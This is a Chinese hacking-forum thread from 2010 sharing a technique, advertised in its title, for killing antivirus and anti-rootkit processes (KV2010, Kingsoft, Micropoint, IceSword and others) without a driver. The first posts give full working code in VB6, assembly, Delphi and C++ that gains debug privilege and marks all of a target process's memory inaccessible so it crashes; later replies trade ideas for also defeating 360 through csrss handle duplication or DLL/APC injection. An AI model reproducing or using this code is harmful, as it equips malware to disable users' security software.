找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 13550|回复: 21

[翻译+转载]无驱动杀死KV2010/金山2011/微点-1.2/冰刃/狙剑/天琊

 火... [复制链接]

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-7-16 22:18:49 | 显示全部楼层 |阅读模式
本帖最后由 Tesla.Angela 于 2010-8-1 23:25 编辑

更新内容:
2010-7-21:发现这玩意还能杀死微点,我手头上测试的微点是2010年4月20日编译的(直接用以前下载的版本,没有下载最新版测试)。
2010-7-31:发现此程序无法结束瑞星2009!测试杀瑞星2010是在同学的机子上进行的,不排除他看到SSDT一片红,误以为是病毒干的,就拿冰刃把SSDT全恢复了。


首先感谢Zzzians(syf),提出了使用VirtualProtect破坏进程内存。
其次感谢他的朋友EXTREME,写了核心代码让我参考:http://hi.baidu.com/q_lai_a_qu/blog/item/fa92a982185ca7b26c81193a.html
'//////////////////////////////
'Code by Tesla.Angela(GDUT.HWL)
'Thank to Syf & q_lai_a_qu
'//////////////////////////////
Option Explicit
Private Type SYSTEM_INFO
    dwOemID As Long
    dwPageSize As Long
    lpMinimumApplicationAddress As Long
    lpMaximumApplicationAddress As Long
    dwActiveProcessorMask As Long
    dwNumberOrfProcessors As Long
    dwProcessorType As Long
    dwAllocationGranularity As Long
    dwReserved As Long
End Type
Private Type MEMORY_BASIC_INFORMATION
    BaseAddress As Long
    AllocationBase As Long
    AllocationProtect As Long
    RegionSize As Long
    State As Long
    Protect As Long
    lType As Long
End Type
Private Declare Function RtlAdjustPrivilege Lib "ntdll" _
                        (ByVal a As Long, _
                        ByVal b As Long, _
                        ByVal c As Long, _
                        ByRef d As Long) As Long
Private Declare Function VirtualQueryEx Lib "kernel32.dll" _
                        (ByVal hProcess As Long, _
                        ByRef lpAddress As Any, _
                        ByRef lpBuffer As MEMORY_BASIC_INFORMATION, _
                        ByVal dwLength As Long) As Long
Private Declare Function VirtualProtectEx Lib "kernel32.dll" _
                        (ByVal hProcess As Long, _
                        ByRef lpAddress As Any, _
                        ByVal dwSize As Long, _
                        ByVal flNewProtect As Long, _
                        ByRef lpflOldProtect As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" _
                        (ByVal hObject As Long) As Long
                        
Private Declare Sub GetSystemInfo Lib "kernel32.dll" _
                        (ByRef lpSystemInfo As SYSTEM_INFO)
                        
Private Const PROCESS_VM_READ As Long = (&H10)
Private Const PROCESS_VM_OPERATION As Long = (&H8)
Private Const PROCESS_QUERY_INFORMATION As Long = (&H400)
Private Const PAGE_NOACCESS As Long = &H1
Private Sub VmpKillProcess(ByVal PID As Long)
    Dim MaxAddr As Long, MinAddr As Long, CurAddr As Long, PageSize As Long, OldProtect As Long, hProc As Long
    Dim SysInfo As SYSTEM_INFO
    Dim MemBasicInfo As MEMORY_BASIC_INFORMATION
    Call GetSystemInfo(SysInfo)
    MinAddr = SysInfo.lpMinimumApplicationAddress
    MaxAddr = SysInfo.lpMaximumApplicationAddress
    PageSize = SysInfo.dwPageSize
    hProc = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_QUERY_INFORMATION, False, PID)
    For CurAddr = MinAddr To MaxAddr Step PageSize
        If (VirtualQueryEx(hProc, ByVal CurAddr, MemBasicInfo, 28)) Then
            Call VirtualProtectEx(hProc, ByVal MemBasicInfo.BaseAddress, MemBasicInfo.RegionSize, PAGE_NOACCESS, OldProtect)
        End If
    Next
    Call CloseHandle(hProc)
End Sub
Public Sub Main()
    RtlAdjustPrivilege 20, 1, 0, 0
    Call VmpKillProcess(CLng(InputBox("PID=", "SyfKillProcess")))
End Sub

记住使用复制句柄的方式打开进程,以及要获得SE_DEBUG权限。
如果附件无法下载,请点击这里

38

主题

199

回帖

2

精华

钻石会员

积分
3408
 楼主| 发表于 2010-7-16 22:21:46 | 显示全部楼层
本帖最后由 Tesla.Angela 于 2010-8-1 23:30 编辑

顺便装一下B,贴出我翻译的ASM代码:
.386
.model
flat, stdcall
option casemap :none

include windows.inc
include user32.inc
include kernel32.inc
include masm32.inc

includelib user32.lib
includelib kernel32.lib
includelib masm32.lib
include macro.asm

.data
    NtDllDll db 'NTDLL.DLL',0
    GetDebug db 'RtlAdjustPrivilege',0
   
.code
START:
    getp proc
        local hNtdll:DWORD
        local pRtlAdjustPrivilege:DWORD
        local rtv:DWORD
        invoke LoadLibrary,offset NtDllDll
        mov hNtdll,eax
        invoke GetProcAddress,hNtdll,offset GetDebug
        mov pRtlAdjustPrivilege,eax
        ;RtlAdjustPrivilege(20,1,0,VarPtr(rtv))
        lea eax,rtv
        push eax
        push 0
        push 1
        push 20
        call pRtlAdjustPrivilege
    getp endp
    vpkp proc
        local MaxAddr:DWORD
        local MinAddr:DWORD
        local CurAddr:DWORD
        local PageSize:DWORD
        local OldProtect:DWORD
        local PID:DWORD
        local hProc:DWORD
        local VirtualQueryExRt:DWORD
        local SysInfo:SYSTEM_INFO
        local MemBasicInfo:MEMORY_BASIC_INFORMATION
        mov eax,8888 ;这里是待杀死进程的PID
        mov PID,eax
        invoke GetSystemInfo,addr SysInfo
        mov eax,SysInfo.lpMinimumApplicationAddress
        mov MinAddr,eax
        mov eax,MinAddr
        mov CurAddr,eax
        mov eax,SysInfo.lpMaximumApplicationAddress
        mov MaxAddr,eax
        mov ebx,MaxAddr
        mov eax,SysInfo.dwPageSize
        mov PageSize,eax
        invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
        mov hProc,eax
        .while CurAddr <= ebx
            invoke VirtualQueryEx,hProc,CurAddr,addr MemBasicInfo,sizeof MEMORY_BASIC_INFORMATION
            mov VirtualQueryExRt,eax            
            .if VirtualQueryExRt!=0
                invoke VirtualProtectEx,hProc,MemBasicInfo.BaseAddress,MemBasicInfo.RegionSize,PAGE_NOACCESS,addr OldProtect
            .endif
            mov ecx,CurAddr
            mov edx,PageSize
            add ecx,edx
            mov CurAddr,ecx
            mov ebx,MaxAddr
        .endw
        invoke CloseHandle,hProc
    vpkp endp
    invoke ExitProcess,0   
end START
如果附件无法下载,请点击这里

38

主题

199

回帖

2

精华

钻石会员

积分
3408
 楼主| 发表于 2010-7-17 09:39:35 | 显示全部楼层
转载:9908006 写的Delphi版代码
function GetMemoryRegion(pid: dword): Boolean;
var
   TempStartAddress: DWord;
   TempEndAddress: DWord;
   OldProtect: dword;
   ProcHandle: dword;
   MBI: _MEMORY_BASIC_INFORMATION; //---------------------------内存信息变量
begin
   Result := False;
   ProcHandle := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
  if ProcHandle = 0 then ProcHandle := fcopenprocess(pid);
  if ProcHandle = 0 then ProcHandle := myopenprocess(pid);

   TempStartAddress := 1 * 1024 * 1024;
//$100000
   TempEndAddress := 2 * 1024 * 1024; //$200000
   TempEndAddress := TempEndAddress * 1024;
//$40000000
  while (VirtualQueryEx(ProcHandle,
    pointer(TempStartAddress),
     MBI,
     sizeof(MBI)) > 0) and (TempStartAddress < TempEndAddress) do
  begin
    if (MBI.State = MEM_COMMIT) then
    begin
      if (MBI.Protect = PAGE_READWRITE) or
         (MBI.Protect = PAGE_WRITECOPY) or
         (MBI.Protect = PAGE_EXECUTE_READWRITE) or
         (MBI.Protect = PAGE_EXECUTE_WRITECOPY)
        then
      begin
         VirtualProtectEx(ProcHandle, MBI.BaseAddress, MBI.RegionSize, PAGE_NOACCESS, @OldProtect);
        
//PMemoryRegion[MemoryRegionsIndex].BaseAddress := Dword(MBI.BaseAddress);
        //PMemoryRegion[MemoryRegionsIndex].MemorySize := MBI.RegionSize;
        //Inc(MemoryRegionsIndex);
      end;
    end;
     TempStartAddress := Dword(MBI.BaseAddress) + MBI.RegionSize;
  end;
   closehandle(prochandle);
   Result := True;
end;

如果附件无法下载,请点击这里

38

主题

199

回帖

2

精华

钻石会员

积分
3408
 楼主| 发表于 2010-7-17 09:41:39 | 显示全部楼层
转载:Q来A去写的原版c++代码
BOOL VPKillProc(DWORD PID)
{
    DWORD MaxAddr;
    DWORD CurAddr;
    DWORD PageSize;
    DWORD OldProtect;

    HANDLE hProc;

    SYSTEM_INFO SysInfo;
    MEMORY_BASIC_INFORMATION MemBasicInfo;
   
    GetSystemInfo(&SysInfo);
    MaxAddr = (DWORD)SysInfo.lpMaximumApplicationAddress;
    PageSize = SysInfo.dwPageSize;
    hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, PID);

    for (CurAddr = (DWORD)SysInfo.lpMinimumApplicationAddress; CurAddr <= MaxAddr; CurAddr += PageSize)
    {

        //
        // Main loop: if the address is valid, make it unaccessible
        //

        if (VirtualQueryEx(hProc, (LPVOID)(CurAddr), &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION)))
        {
            VirtualProtectEx(hProc, MemBasicInfo.BaseAddress, MemBasicInfo.RegionSize, PAGE_NOACCESS, &OldProtect);
            CurAddr += MemBasicInfo.RegionSize;
        }
    }

    //
    // Check if the process is dead
    //

    CloseHandle(hProc);
    if (OpenProcess(PROCESS_VM_READ, FALSE, PID))
    {
        CloseHandle(hProc);
        return FALSE;
    }

    return TRUE;
}
如果附件无法下载,请点击这里
本网站最菜的人 该用户已被删除
发表于 2010-7-17 20:08:00 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-7-18 20:09:28 | 显示全部楼层
我是前来膜拜的,哈哈!
头像被屏蔽

1

主题

20

回帖

0

精华

初来乍到

积分
32
发表于 2010-7-20 12:19:57 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

1

主题

25

回帖

0

精华

铜牌会员

积分
97
发表于 2010-7-23 05:09:07 | 显示全部楼层
看看。学习。

16

主题

81

回帖

0

精华

银牌会员

积分
611
发表于 2010-7-25 07:23:28 | 显示全部楼层
有点好奇,看下是什么

16

主题

81

回帖

0

精华

银牌会员

积分
611
发表于 2010-7-25 07:24:40 | 显示全部楼层
大出血啊,这玩艺杀不死瑞星,虚假广告!哈哈

评分

参与人数 1 +34 收起 理由
Tesla.Angela + 34 今天再次测试,确实杀不死RS2009。

查看全部评分

16

主题

81

回帖

0

精华

银牌会员

积分
611
发表于 2010-7-26 12:29:17 | 显示全部楼层
不会吧?我记得瑞星是不允许复制句柄的,它学了360,不允许从csrss中复制任何句柄,有测试瑞星最新版的童鞋没?

16

主题

81

回帖

0

精华

银牌会员

积分
611
发表于 2010-7-26 12:30:29 | 显示全部楼层
当然,如果注入csrss,再xxxx,是可以的,但如果360和瑞星装在一起,就无法注入csrss了,狼与狈的组合啊

0

主题

56

回帖

0

精华

铜牌会员

积分
67
发表于 2010-7-27 09:36:25 | 显示全部楼层
360tray.exe能杀死就好了...............

5

主题

47

回帖

0

精华

铜牌会员

积分
210
发表于 2010-7-27 11:33:31 | 显示全部楼层
这个...这个...貌似在6个月前看过..

6

主题

196

回帖

0

精华

铜牌会员

菜鸟

积分
52
发表于 2010-7-28 12:39:12 | 显示全部楼层
这个...这个...好像每次你发给我的说不要我发每次都会被你发出来...

0

主题

34

回帖

0

精华

铜牌会员

积分
44
发表于 2010-8-3 20:59:29 | 显示全部楼层
强悍!~··········

2

主题

37

回帖

0

精华

铜牌会员

积分
50
发表于 2010-8-4 12:33:50 | 显示全部楼层
膜拜膜拜

0

主题

1

回帖

0

精华

初来乍到

积分
15
发表于 2010-8-5 11:59:51 | 显示全部楼层
不会吧?这个代码能够Kill这么多的东东?!
膜拜ZZZians

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-8-5 17:43:14 | 显示全部楼层
不知道直接使用csrss里的句柄再加上这个VmpKillProcess能不能杀掉360。。。
naylon 发表于 2010-8-5 17:03



如果能注入到csrss并获得句柄,用这种方式杀360就不优美了。
优美的方式是插入dll,DllMain里来个DebugBreak,或者memcpy(3,2,1)。

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-8-8 22:29:36 | 显示全部楼层
本帖最后由 Tesla.Angela 于 2010-8-8 22:38 编辑
回复  Tesla.Angela

好像在360启动之后没法插DLL吧?
naylon 发表于 2010-8-8 10:19



R3貌似是无法插入了,Ring0用APC插入应该还可以吧。
本网站最菜的人 该用户已被删除
发表于 2010-8-9 19:58:54 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

7

主题

414

回帖

1

精华

铂金会员

积分
2173
发表于 2013-4-7 00:17:30 | 显示全部楼层
好資料 值得學習一下
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表